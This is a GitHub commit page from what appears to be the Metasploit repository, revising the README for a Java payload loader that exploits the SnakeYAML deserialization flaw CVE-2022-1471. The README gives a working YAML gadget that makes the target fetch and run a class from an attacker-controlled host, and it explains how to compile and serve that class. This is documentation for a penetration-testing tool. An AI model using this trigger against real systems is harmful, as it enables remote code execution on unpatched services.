-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
de8e392
commit 86b7ec4
Showing
5 changed files
with
27 additions
and
14 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2 changes: 1 addition & 1 deletion
2
external/source/exploits/CVE-2022-1471/MyScriptEngineFactory.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,17 +1,25 @@ | ||
# Overview | ||
The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded while exploit | ||
CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project. | ||
The Java file contained within will load and execute a Metasploit payload. It's intended to be loaded as part of the | ||
exploit for CVE-2022-1471 which is a YAML deserialization vulnerability within the snakeyaml project. | ||
|
||
See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in for more information. | ||
|
||
## Compiling | ||
Compile the Java source file using `javac -cp path/to/metasploit-payloads/data/java MyScriptEngineFactory.java`. | ||
It's necessary to specify the Metasploit Payloads data directory as the class path when compiling the code. See the | ||
[metasploit-payloads][1] repository for instructions on how to compile the main Java payloads and install the data | ||
files. | ||
|
||
Compile the Java source file using `javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java`. | ||
|
||
## Usage | ||
Trigger the deserialization using the following YAML: | ||
```yaml | ||
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://1.1.1.1:8080/"]]]] | ||
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.0.2.1:8080/"]]]] | ||
``` | ||
|
||
Host the compiled class on an HTTP server along with the file `/META-INF/services/javax.script.ScriptEngineFactory`. The | ||
contents of this file should simply be the class name to load (`MyScriptEngineFactory`). See Metasploit's | ||
`Msf::Exploit::Remote::Java::HTTP::ClassLoader` mixin for more information and the remaining components necessary to | ||
deliver a Metasploit payload. | ||
|
||
[1]: https://github.com/rapid7/metasploit-payloads/tree/master/java |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters